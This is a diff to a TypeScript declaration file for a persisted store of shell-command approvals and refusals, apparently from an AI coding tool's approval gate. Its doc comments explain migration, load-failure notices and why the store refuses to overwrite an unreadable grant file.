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"}
|
|
@@ -163,11 +163,45 @@ export interface PersistedApprovalGrantsOptions {
|
|
|
163
163
|
* why the runner always passes one.
|
|
164
164
|
*/
|
|
165
165
|
onNotice?: (notice: ShellApprovalGateNotice) => void;
|
|
166
|
+
/**
|
|
167
|
+
* Whether a file holding the v1 `prefixes` array is migrated to `exact` entries. **True by
|
|
168
|
+
* default, and set false by the deny store** ([[EXT-107]]), for two independent reasons:
|
|
169
|
+
*
|
|
170
|
+
* - **`prefixes` was never a format on the deny side.** A deny file carrying one was hand-written
|
|
171
|
+
* by analogy, and turning a guess into standing refusals — with a notice worded for saved
|
|
172
|
+
* *approvals*, which is the only notice there is — would report a migration that did not
|
|
173
|
+
* describe what happened.
|
|
174
|
+
* - **A migration WRITES.** The deny store is read at every rung, `bypass` included, because a
|
|
175
|
+
* refusal is resolved before the bypass return; the allow store is not read there precisely so
|
|
176
|
+
* that a session with the gate switched off never rewrites the project's grant file. Leaving
|
|
177
|
+
* this on would give the deny store the one load path that writes.
|
|
178
|
+
*/
|
|
179
|
+
legacyPrefixMigration?: boolean;
|
|
180
|
+
/**
|
|
181
|
+
* [[EXT-143]] — **what this file holds, in the noun a user reads** in a load-failure notice
|
|
182
|
+
* ({@link unreadableFileNotice}, {@link skippedEntriesNotice}). The allow store passes
|
|
183
|
+
* `'approvals'` and the deny store `'refusals'`.
|
|
184
|
+
*
|
|
185
|
+
* It is a word, not a behaviour, and that is what keeps the class list-agnostic: nothing here
|
|
186
|
+
* reads it, compares against it or decides by it. A store still never learns which list it is —
|
|
187
|
+
* the file path decides that and the runner decides which list it hands to the matcher — but a
|
|
188
|
+
* message that could not name what was lost would be a message the reader cannot act on, since
|
|
189
|
+
* the two files fail in opposite directions.
|
|
190
|
+
*
|
|
191
|
+
* Omitting it is safe: {@link savedNoun} then says something true of either file rather than
|
|
192
|
+
* guessing. What is NOT safe is defaulting it to one side, so it does not.
|
|
193
|
+
*/
|
|
194
|
+
holds?: 'approvals' | 'refusals';
|
|
166
195
|
}
|
|
167
196
|
/**
|
|
168
197
|
* The persisted (`always`) grant store, backed by a JSON file whose path is injected (the runner
|
|
169
|
-
* resolves it via fileUtils → `.gsloth/.gsloth-settings/shell-allowlist.json`
|
|
170
|
-
* at a temp dir.
|
|
198
|
+
* resolves it via fileUtils → `.gsloth/.gsloth-settings/shell-allowlist.json` for approvals and
|
|
199
|
+
* `…/shell-denylist.json` for refusals) so tests can point it at a temp dir.
|
|
200
|
+
*
|
|
201
|
+
* **One class, two files.** Which list a store's entries belong to is the caller's question, not
|
|
202
|
+
* this class's: it holds {@link ApprovalGrant} records and writes them back. The only thing either
|
|
203
|
+
* side configures is {@link PersistedApprovalGrantsOptions.legacyPrefixMigration}, which the deny
|
|
204
|
+
* store turns off.
|
|
171
205
|
*
|
|
172
206
|
* ## The v1 migration, and the direction it goes
|
|
173
207
|
*
|
|
@@ -185,9 +219,65 @@ export interface PersistedApprovalGrantsOptions {
|
|
|
185
219
|
export declare class PersistedApprovalGrants {
|
|
186
220
|
private readonly store;
|
|
187
221
|
private readonly filePath;
|
|
222
|
+
private readonly onNotice;
|
|
223
|
+
private readonly holds;
|
|
224
|
+
/**
|
|
225
|
+
* [[EXT-144]] — **what the load found in the file**, which decides whether it may ever be
|
|
226
|
+
* rewritten ({@link StoreReadState}). Anything but `readable` is a file whose load failed, exactly
|
|
227
|
+
* the outcomes {@link unreadableFileNotice} reports, and none of them may be written over.
|
|
228
|
+
*
|
|
229
|
+
* **An entry-level loss is deliberately not one of them.** A file whose `grants` array parsed but
|
|
230
|
+
* held one malformed member is a file this version *can* read: the rest of it is in force, which
|
|
231
|
+
* {@link skippedEntriesNotice} states to the user as a promise, and blocking every future save
|
|
232
|
+
* over one cosmetic typo would disable a working feature to protect an entry the reader has
|
|
233
|
+
* already been pointed at — by position and quoted text for the first
|
|
234
|
+
* {@link SKIPPED_ENTRIES_NAMED}, and by a count of the rest beyond that.
|
|
235
|
+
*/
|
|
236
|
+
private readonly readState;
|
|
237
|
+
/**
|
|
238
|
+
* [[EXT-151]] — the top-level keys the read found and this version does not use, written back on
|
|
239
|
+
* every rewrite so a save cannot delete the parts of a user's file we do not recognise.
|
|
240
|
+
*/
|
|
241
|
+
private readonly preserved;
|
|
242
|
+
/**
|
|
243
|
+
* Whether the file is believed to hold what this store holds — true after a read that succeeded
|
|
244
|
+
* or a write that landed, false after one that was refused or threw.
|
|
245
|
+
*
|
|
246
|
+
* It exists so {@link add} can answer honestly for an entry it did not have to write: "already
|
|
247
|
+
* held" is only "already in the file" if the file ever received it, and on a read-only checkout it
|
|
248
|
+
* did not.
|
|
249
|
+
*/
|
|
250
|
+
private inSync;
|
|
188
251
|
constructor(filePath: string, options?: PersistedApprovalGrantsOptions);
|
|
252
|
+
/**
|
|
253
|
+
* Read the file, and **report anything it lost on the way** ([[EXT-143]]).
|
|
254
|
+
*
|
|
255
|
+
* Every outcome that drops something a human saved reaches {@link
|
|
256
|
+
* PersistedApprovalGrantsOptions.onNotice}: an unreadable or unparseable file, a file whose shape
|
|
257
|
+
* this version does not recognise — a v1 `prefixes` file on the deny side, where the migration is
|
|
258
|
+
* deliberately off, is one — and any individual entry the grammar rejects. **Silence is reserved
|
|
259
|
+
* for the outcomes that lost nothing**, of which there are three: a file that is not there, one
|
|
260
|
+
* that reads cleanly, and one whose entry list is absent or empty ({@link holdsSavedEntries}).
|
|
261
|
+
*
|
|
262
|
+
* The recovery is unchanged and deliberately unchanged: a failure here yields fewer grants rather
|
|
263
|
+
* than throwing. **What that degrades to is not the same on the two sides**, which is why the
|
|
264
|
+
* notice describes the loss and not an outcome — a lost `always` approval means the human is asked
|
|
265
|
+
* again, while a lost `always` refusal means nothing refuses, and at `bypass` the call simply runs.
|
|
266
|
+
*/
|
|
189
267
|
private static load;
|
|
190
|
-
/**
|
|
268
|
+
/**
|
|
269
|
+
* Each v1 prefix → an `exact` entry for the same string, with ONE notice naming the file.
|
|
270
|
+
*
|
|
271
|
+
* **A prefix this cannot migrate is REMOVED from the file, and is named** ([[EXT-151]]). A member
|
|
272
|
+
* that is not a string, or that normalizes to nothing, becomes no entry — and the rewrite below is
|
|
273
|
+
* what makes that permanent. That is a real loss on a path where nothing else reports one: the
|
|
274
|
+
* skipped-entries notice belongs to the v2 reader and never fires here. It is reported at
|
|
275
|
+
* {@link StatusLevel.ERROR} on the same filterability axis every other loss on this seam uses.
|
|
276
|
+
*
|
|
277
|
+
* **And the migration notice no longer claims that nothing was removed while removing something.**
|
|
278
|
+
* That sentence is kept for the case where it is true — which is the ordinary case, and where the
|
|
279
|
+
* reassurance is worth having — and dropped where a member went.
|
|
280
|
+
*/
|
|
191
281
|
private static migrateFromV1;
|
|
192
282
|
/** Every grant. */
|
|
193
283
|
list(): ApprovalGrant[];
|
|
@@ -195,22 +285,88 @@ export declare class PersistedApprovalGrants {
|
|
|
195
285
|
entries(): ApprovalEntry[];
|
|
196
286
|
/** How many grants are persisted. */
|
|
197
287
|
size(): number;
|
|
198
|
-
/**
|
|
199
|
-
|
|
288
|
+
/**
|
|
289
|
+
* [[EXT-144]] — **may this store write its file at all?** False when the load failed, in which
|
|
290
|
+
* case every write is refused.
|
|
291
|
+
*
|
|
292
|
+
* Public because the caller has to know *before* it builds the record it is about to hand over:
|
|
293
|
+
* a grant is stamped with the scope it actually got, the runner's in-memory stores can hold the
|
|
294
|
+
* very object they are passed, and a scope corrected after the fact would be corrected inside
|
|
295
|
+
* somebody else's store. Asking first is what lets an answer that cannot be written down be
|
|
296
|
+
* recorded as the session-only thing it is.
|
|
297
|
+
*
|
|
298
|
+
* **It answers about the FILE being readable, never about a write succeeding.** A store whose
|
|
299
|
+
* path cannot be written — a read-only checkout — still answers true here, because nothing was
|
|
300
|
+
* lost by reading it and the next write may well land.
|
|
301
|
+
*/
|
|
302
|
+
canPersist(): boolean;
|
|
303
|
+
/**
|
|
304
|
+
* Add a grant and persist the whole store. A duplicate entry rewrites nothing.
|
|
305
|
+
*
|
|
306
|
+
* **Returns whether the grant is now recorded in the file** ([[EXT-144]]), which is not the same
|
|
307
|
+
* question as whether it is in force — it is in force either way, held here and in the runner's
|
|
308
|
+
* session store. `false` says only that a restart will not find it.
|
|
309
|
+
*/
|
|
310
|
+
add(grant: ApprovalGrant): boolean;
|
|
200
311
|
/** The grant held under this entry's identity, or `undefined`. */
|
|
201
312
|
find(entry: ApprovalEntry): ApprovalGrant | undefined;
|
|
202
313
|
/**
|
|
203
|
-
* Drop the grant held under this entry's identity and rewrite the file.
|
|
204
|
-
*
|
|
314
|
+
* Drop the grant held under this entry's identity and rewrite the file.
|
|
315
|
+
*
|
|
316
|
+
* **Returns whether the deletion reached the FILE** ([[EXT-149]]) — the mirror of what {@link add}
|
|
317
|
+
* answers, and not the same question as whether the entry is still in force here. The in-memory
|
|
318
|
+
* removal happens either way and is what lifts the entry for this session; `false` says only that
|
|
319
|
+
* a restart will find it again. It used to return `true` after a write that threw, which is how
|
|
320
|
+
* the `/approvals` lift came to report a deletion that had not happened.
|
|
321
|
+
*
|
|
322
|
+
* `false` is also the answer when there was no such grant. The two are distinguishable with
|
|
323
|
+
* {@link find} beforehand, and the caller that reports to a user has already established the entry
|
|
324
|
+
* was there — it is offering to lift something it just listed.
|
|
205
325
|
*
|
|
206
326
|
* The write is what makes §4.7.4's invalidation a one-time event: a removal held only in memory
|
|
207
327
|
* would be undone by the next session reloading the same stale snapshot, so the user would be
|
|
208
328
|
* told their grant had been withdrawn once per session, forever.
|
|
329
|
+
*
|
|
330
|
+
* **The [[EXT-144]] refusal cannot strand a removal half-done, and by construction rather than by
|
|
331
|
+
* a check here:** a store that could not read its file is empty — the load recovered nothing, and
|
|
332
|
+
* {@link add} takes back what it could not write — so there is never a grant to remove, and this
|
|
333
|
+
* returns before reaching the write. If that invariant is ever broken, restore it rather than
|
|
334
|
+
* teaching this method to unwind.
|
|
209
335
|
*/
|
|
210
336
|
remove(entry: ApprovalEntry): boolean;
|
|
211
337
|
/**
|
|
212
|
-
* Write the file
|
|
213
|
-
* read-only checkout must not end a run over a bookkeeping
|
|
338
|
+
* Write the file, and **report whether the write landed**. Never throws: the grants are already
|
|
339
|
+
* in force for this session, and a read-only checkout must not end a run over a bookkeeping
|
|
340
|
+
* write.
|
|
341
|
+
*
|
|
342
|
+
* **Never throws is not never says.** [[EXT-149]] — a swallowed throw left the surfaces that had
|
|
343
|
+
* already promised the user something as the last word on a file that never changed, so a failed
|
|
344
|
+
* write is reported ({@link failedWriteNotice}) in the words of whichever {@link WritePurpose}
|
|
345
|
+
* asked for it.
|
|
346
|
+
*
|
|
347
|
+
* ## [[EXT-144]] — it refuses to write over a file it could not read
|
|
348
|
+
*
|
|
349
|
+
* This is a WHOLE-FILE rewrite from what the store holds, and a store whose load failed holds
|
|
350
|
+
* nothing. So without this guard one saved answer replaces every entry in the file with itself:
|
|
351
|
+
* a trailing comma — the characteristic failure of a file people hand-edit and commit — becomes
|
|
352
|
+
* unrecoverable loss at the next prompt, with no backup and nothing on disk to go back to.
|
|
353
|
+
*
|
|
354
|
+
* **The deny side is why it refuses rather than saving a copy first.** A user whose refusals have
|
|
355
|
+
* silently stopped applying reaches for *always reject*, and that keystroke is what would make the
|
|
356
|
+
* loss permanent. Refusing leaves the file exactly as they left it: fix the comma and all of it
|
|
357
|
+
* comes back, with nothing to reconcile and nothing needing to have been copied in advance.
|
|
358
|
+
*
|
|
359
|
+
* **A sibling `.corrupt` copy was the alternative, and it is worse in this system**, because it
|
|
360
|
+
* would leave the user holding a merge they cannot perform — the live file with the one entry they
|
|
361
|
+
* just answered, a copy beside it with the twenty they had, and no tool to combine them. It would
|
|
362
|
+
* also write a second file into a directory people commit, and it would make the file parse again,
|
|
363
|
+
* so the load-time error that is the user's only signal would go quiet while nineteen refusals
|
|
364
|
+
* stayed out of force. And its guarantee is conditional on a write that can itself fail, which is
|
|
365
|
+
* the same read-only checkout this method already has to survive.
|
|
366
|
+
*
|
|
367
|
+
* The cost is a re-prompt and nothing else, which is the direction every ambiguity in this design
|
|
368
|
+
* resolves — and it is the same degradation the load side already makes ([[EXT-107]]: a store that
|
|
369
|
+
* cannot be read means `always` becomes `session`), now applied consistently to the write.
|
|
214
370
|
*/
|
|
215
371
|
private tryPersist;
|
|
216
372
|
}
|